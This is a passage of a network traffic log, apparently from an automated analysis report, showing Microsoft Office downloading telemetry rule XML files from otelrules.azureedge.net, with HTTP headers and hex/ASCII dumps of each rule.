2024-11-24 07:44:11 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 07:44:11 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 07:44:11 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: e2b7c591-f01e-003f-257e-3bd19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T074411Z-174c587ffdf7t49mhC1TEB4qbg000000040000000000dnsc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-24 07:44:11 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.10	49794	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 07:44:11 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 07:44:12 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 07:44:11 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: 9d7b10d0-e01e-0099-63bc-3bda8a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T074411Z-15b8b599d8885prmhC1TEBsnkw00000004b0000000002bx6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 07:44:12 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.10	49795	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 07:44:11 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 07:44:12 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 07:44:12 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: 3aa21312-901e-0016-730f-3defe9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T074412Z-15b8b599d88phfhnhC1TEBr51n000000048g0000000083vd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 07:44:12 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.10	49796	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 07:44:13 UTC	192	OUT	GET /rules/rule120675v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 07:44:13 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 07:44:13 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6CF78C8" x-ms-request-id: a5f5ebba-f01e-003f-29f6-3cd19d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T074413Z-178bfbc474bgvl54hC1NYCsfuw00000005k000000000bv9n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 07:44:13 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 55 75 5d 5b 50 70 5d 5b 43 63 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 55 75 5d 5b 44 64 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120675" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <SR T="2" R="([Uu][Pp][Cc][Ll][Oo][Uu][Dd])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.10	49798	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 07:44:13 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 07:44:14 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 07:44:13 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: 964846c7-701e-001e-36c3-3bf5e6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T074413Z-15b8b599d88vp97chC1TEB5pzw0000000460000000002wzt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 07:44:14 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.10	49797	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 07:44:13 UTC	192	OUT	GET /rules/rule120676v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 07:44:14 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 07:44:13 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B984BF177" x-ms-request-id: 18e5e448-501e-000a-7b67-3b0180000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T074413Z-178bfbc474bp8mkvhC1NYCzqnn00000005m0000000001hch x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 07:44:14 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.10	49799	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 07:44:13 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 07:44:14 UTC	491	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 07:44:14 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: 14aff01d-f01e-005d-5831-3d13ba000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T074414Z-174c587ffdf8lw6dhC1TEBkgs8000000042g00000000e214 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 07:44:14 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.10	49800	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 07:44:13 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 07:44:14 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 07:44:14 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: 5a5a0c5e-c01e-0079-588c-3ae51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T074414Z-174c587ffdf8lw6dhC1TEBkgs8000000041g00000000g6n7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 07:44:14 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.10	49801	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 07:44:15 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 07:44:16 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 07:44:15 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: a1757a3c-c01e-0034-7811-3d2af6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T074415Z-178bfbc474bmqmgjhC1NYCy16c00000005v0000000000xs7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 07:44:16 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.10	49802	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 07:44:15 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 07:44:16 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 07:44:16 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: dd30127b-601e-005c-3f9b-3df06f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T074416Z-15b8b599d88f9wfchC1TEBm2kc00000004900000000079x6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 07:44:16 UTC	958	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 38 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120681" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120608" /> <R T="2" R="120680" /> <TH T="3"> <O T="AND"> <L> <O T="EQ"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.10	49803	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 07:44:15 UTC	192	OUT	GET /rules/rule120682v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 07:44:16 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 07:44:16 GMT Content-Type: text/xml Content-Length: 501 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:18 GMT ETag: "0x8DC582BACFDAACD" x-ms-request-id: 6a1e2df9-c01e-008d-338c-3a2eec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T074416Z-174c587ffdf4zw2thC1TEBu3400000000490000000003frz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 07:44:16 UTC	501	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 74 61 72 74 75 70 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120682" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryStartup" /> <R T="2" R="120100" /> <SS T="3" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> </S> <C T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.10	49804	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 07:44:16 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 07:44:16 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 07:44:16 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: fa8f60f6-901e-0083-3159-3cbb55000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T074416Z-15b8b599d88m7pn7hC1TEB4axw0000000460000000007xmu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 07:44:16 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.10	49805	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
